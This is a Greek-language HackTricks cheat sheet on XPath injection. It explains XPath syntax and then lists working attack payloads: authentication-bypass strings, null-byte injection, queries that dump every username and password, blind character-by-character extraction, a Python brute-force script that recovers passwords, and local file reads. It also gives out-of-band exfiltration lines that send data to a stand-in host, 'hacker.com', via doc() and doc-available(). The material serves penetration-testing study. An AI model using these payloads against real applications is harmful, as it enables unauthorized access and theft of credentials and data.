XPATH injection

Reading time: 9 minutes

tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks

Basic Syntax

Μια τεχνική επίθεσης γνωστή ως XPath Injection χρησιμοποιείται για να εκμεταλλευτεί εφαρμογές που σχηματίζουν ερωτήματα XPath (XML Path Language) με βάση την είσοδο του χρήστη για να ερωτήσουν ή να πλοηγηθούν σε XML έγγραφα.

Nodes Described

Οι εκφράσεις χρησιμοποιούνται για την επιλογή διαφόρων κόμβων σε ένα XML έγγραφο. Αυτές οι εκφράσεις και οι περιγραφές τους συνοψίζονται παρακάτω:

  • nodename: Επιλέγονται όλοι οι κόμβοι με το όνομα "nodename".
  • /: Η επιλογή γίνεται από τον ριζικό κόμβο.
  • //: Επιλέγονται οι κόμβοι που ταιριάζουν με την επιλογή από τον τρέχοντα κόμβο, ανεξαρτήτως της τοποθεσίας τους στο έγγραφο.
  • .: Επιλέγεται ο τρέχων κόμβος.
  • ..: Επιλέγεται ο γονέας του τρέχοντος κόμβου.
  • @: Επιλέγονται οι ιδιότητες.

XPath Examples

Παραδείγματα εκφράσεων διαδρομής και τα αποτελέσματά τους περιλαμβάνουν:

  • bookstore: Επιλέγονται όλοι οι κόμβοι που ονομάζονται "bookstore".
  • /bookstore: Επιλέγεται το ριζικό στοιχείο bookstore. Σημειώνεται ότι μια απόλυτη διαδρομή προς ένα στοιχείο αναπαρίσταται από μια διαδρομή που ξεκινά με μια κάθετο (/).
  • bookstore/book: Επιλέγονται όλα τα στοιχεία book που είναι παιδιά του bookstore.
  • //book: Επιλέγονται όλα τα στοιχεία book στο έγγραφο, ανεξαρτήτως της τοποθεσίας τους.
  • bookstore//book: Επιλέγονται όλα τα στοιχεία book που είναι απόγονοι του στοιχείου bookstore, ανεξαρτήτως της θέσης τους κάτω από το στοιχείο bookstore.
  • //@lang: Επιλέγονται όλες οι ιδιότητες που ονομάζονται lang.

Utilization of Predicates

Οι προτάσεις χρησιμοποιούνται για την εξειδίκευση των επιλογών:

  • /bookstore/book[1]: Επιλέγεται το πρώτο στοιχείο book παιδί του στοιχείου bookstore. Μια λύση για τις εκδόσεις IE 5 έως 9, οι οποίες ευρετηριάζουν τον πρώτο κόμβο ως [0], είναι η ρύθμιση της SelectionLanguage σε XPath μέσω JavaScript.
  • /bookstore/book[last()]: Επιλέγεται το τελευταίο στοιχείο book παιδί του στοιχείου bookstore.
  • /bookstore/book[last()-1]: Επιλέγεται το προτελευταίο στοιχείο book παιδί του στοιχείου bookstore.
  • /bookstore/book[position()<3]: Επιλέγονται τα πρώτα δύο στοιχεία book παιδιά του στοιχείου bookstore.
  • //title[@lang]: Επιλέγονται όλα τα στοιχεία title με μια ιδιότητα lang.
  • //title[@lang='en']: Επιλέγονται όλα τα στοιχεία title με μια τιμή ιδιότητας "lang" ίση με "en".
  • /bookstore/book[price>35.00]: Επιλέγονται όλα τα στοιχεία book του bookstore με τιμή μεγαλύτερη από 35.00.
  • /bookstore/book[price>35.00]/title: Επιλέγονται όλα τα στοιχεία title των στοιχείων book του bookstore με τιμή μεγαλύτερη από 35.00.

Handling of Unknown Nodes

Οι χαρακτήρες μπαλαντέρ χρησιμοποιούνται για την αντιστοίχιση άγνωστων κόμβων:

  • *: Αντιστοιχεί σε οποιοδήποτε στοιχείο κόμβου.
  • @*: Αντιστοιχεί σε οποιοδήποτε κόμβο ιδιότητας.
  • node(): Αντιστοιχεί σε οποιονδήποτε κόμβο οποιουδήποτε τύπου.

Περαιτέρω παραδείγματα περιλαμβάνουν:

  • /bookstore/*: Επιλέγει όλους τους παιδικούς κόμβους στοιχείων του στοιχείου bookstore.
  • //*: Επιλέγει όλα τα στοιχεία στο έγγραφο.
  • //title[@*]: Επιλέγει όλα τα στοιχεία title με τουλάχιστον μία ιδιότητα οποιουδήποτε τύπου.

Example

xml
<?xml version="1.0" encoding="ISO-8859-1"?>
<data>
<user>
<name>pepe</name>
<password>peponcio</password>
<account>admin</account>
</user>
<user>
<name>mark</name>
<password>m12345</password>
<account>regular</account>
</user>
<user>
<name>fino</name>
<password>fino2</password>
<account>regular</account>
</user>
</data>

Πρόσβαση στις πληροφορίες

All names - [pepe, mark, fino]
name
//name
//name/node()
//name/child::node()
user/name
user//name
/user/name
//user/name

All values - [pepe, peponcio, admin, mark, ...]
//user/node()
//user/child::node()


Positions
//user[position()=1]/name #pepe
//user[last()-1]/name #mark
//user[position()=1]/child::node()[position()=2] #peponcio (password)

Functions
count(//user/node()) #3*3 = 9 (count all values)
string-length(//user[position()=1]/child::node()[position()=1]) #Length of "pepe" = 4
substrig(//user[position()=2/child::node()[position()=1],2,1) #Substring of mark: pos=2,length=1 --> "a"

Αναγνώριση & κλοπή του σχήματος

python
and count(/*) = 1 #root
and count(/*[1]/*) = 2 #count(root) = 2 (a,c)
and count(/*[1]/*[1]/*) = 1 #count(a) = 1 (b)
and count(/*[1]/*[1]/*[1]/*) = 0 #count(b) = 0
and count(/*[1]/*[2]/*) = 3 #count(c) = 3 (d,e,f)
and count(/*[1]/*[2]/*[1]/*) = 0 #count(d) = 0
and count(/*[1]/*[2]/*[2]/*) = 0 #count(e) = 0
and count(/*[1]/*[2]/*[3]/*) = 1 #count(f) = 1 (g)
and count(/*[1]/*[2]/*[3]/[1]*) = 0 #count(g) = 0

#The previous solutions are the representation of a schema like the following
#(at this stage we don't know the name of the tags, but jus the schema)
<root>
<a>
<b></b>
</a>
<c>
<d></d>
<e></e>
<f>
<h></h>
</f>
</c>
</root>

and name(/*[1]) = "root" #Confirm the name of the first tag is "root"
and substring(name(/*[1]/*[1]),1,1) = "a" #First char of name of tag `<a>` is "a"
and string-to-codepoints(substring(name(/*[1]/*[1]/*),1,1)) = 105 #Firts char of tag `<b>`is codepoint 105 ("i") (https://codepoints.net/)

#Stealing the schema via OOB
doc(concat("http://hacker.com/oob/", name(/*[1]/*[1]), name(/*[1]/*[1]/*[1])))
doc-available(concat("http://hacker.com/oob/", name(/*[1]/*[1]), name(/*[1]/*[1]/*[1])))

Παράκαμψη Αυθεντικοποίησης

Παράδειγμα ερωτημάτων:

string(//user[name/text()='+VAR_USER+' and password/text()='+VAR_PASSWD+']/account/text())
$q = '/usuarios/usuario[cuenta="' . $_POST['user'] . '" and passwd="' . $_POST['passwd'] . '"]';

OR παράκαμψη σε χρήστη και κωδικό (ίδια τιμή και στους δύο)

' or '1'='1
" or "1"="1
' or ''='
" or ""="
string(//user[name/text()='' or '1'='1' and password/text()='' or '1'='1']/account/text())

Select account
Select the account using the username and use one of the previous values in the password field

Κατάχρηση της ένεσης null

Username: ' or 1]%00

Διπλό OR στο Όνομα Χρήστη ή στον Κωδικό (είναι έγκυρο με μόνο 1 ευάλωτο πεδίο)

ΣΗΜΑΝΤΙΚΟ: Παρατηρήστε ότι η "και" είναι η πρώτη ενέργεια που εκτελείται.

Bypass with first match
(This requests are also valid without spaces)
' or /* or '
' or "a" or '
' or 1 or '
' or true() or '
string(//user[name/text()='' or true() or '' and password/text()='']/account/text())

Select account
'or string-length(name(.))<10 or' #Select account with length(name)<10
'or contains(name,'adm') or' #Select first account having "adm" in the name
'or contains(.,'adm') or' #Select first account having "adm" in the current value
'or position()=2 or' #Select 2º account
string(//user[name/text()=''or position()=2 or'' and password/text()='']/account/text())

Select account (name known)
admin' or '
admin' or '1'='2
string(//user[name/text()='admin' or '1'='2' and password/text()='']/account/text())

Εξαγωγή συμβολοσειρών

Η έξοδος περιέχει συμβολοσειρές και ο χρήστης μπορεί να χειριστεί τις τιμές για να αναζητήσει:

/user/username[contains(., '+VALUE+')]
') or 1=1 or (' #Get all names
') or 1=1] | //user/password[('')=(' #Get all names and passwords
') or 2=1] | //user/node()[('')=(' #Get all values
')] | //./node()[('')=(' #Get all values
')] | //node()[('')=(' #Get all values
') or 1=1] | //user/password[('')=(' #Get all names and passwords
')] | //password%00 #All names and passwords (abusing null injection)
')]/../*[3][text()!=(' #All the passwords
')] | //user/*[1] | a[(' #The ID of all users
')] | //user/*[2] | a[(' #The name of all users
')] | //user/*[3] | a[(' #The password of all users
')] | //user/*[4] | a[(' #The account of all users

Blind Explotation

Πάρτε το μήκος μιας τιμής και εξαγάγετέ την μέσω συγκρίσεων:

bash
' or string-length(//user[position()=1]/child::node()[position()=1])=4 or ''=' #True if length equals 4
' or substring((//user[position()=1]/child::node()[position()=1]),1,1)="a" or ''=' #True is first equals "a"

substring(//user[userid=5]/username,2,1)=codepoints-to-string(INT_ORD_CHAR_HERE)

... and ( if ( $employee/role = 2 ) then error() else 0 )... #When error() is executed it rises an error and never returns a value

Παράδειγμα Python

python
import requests, string

flag = ""
l = 0
alphabet = string.ascii_letters + string.digits + "{}_()"
for i in range(30):
r = requests.get("http://example.com?action=user&userid=2 and string-length(password)=" + str(i))
if ("TRUE_COND" in r.text):
l = i
break
print("[+] Password length: " + str(l))
for i in range(1, l + 1): #print("[i] Looking for char number " + str(i))
for al in alphabet:
r = requests.get("http://example.com?action=user&userid=2 and substring(password,"+str(i)+",1)="+al)
if ("TRUE_COND" in r.text):
flag += al
print("[+] Flag: " + flag)
break

Διαβάστε το αρχείο

python
(substring((doc('file://protected/secret.xml')/*[1]/*[1]/text()[1]),3,1))) < 127

OOB Εκμετάλλευση

python
doc(concat("http://hacker.com/oob/", RESULTS))
doc(concat("http://hacker.com/oob/", /Employees/Employee[1]/username))
doc(concat("http://hacker.com/oob/", encode-for-uri(/Employees/Employee[1]/username)))

#Instead of doc() you can use the function doc-available
doc-available(concat("http://hacker.com/oob/", RESULTS))
#the doc available will respond true or false depending if the doc exists,
#user not(doc-available(...)) to invert the result if you need to

Αυτόματο εργαλείο

Αναφορές

tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks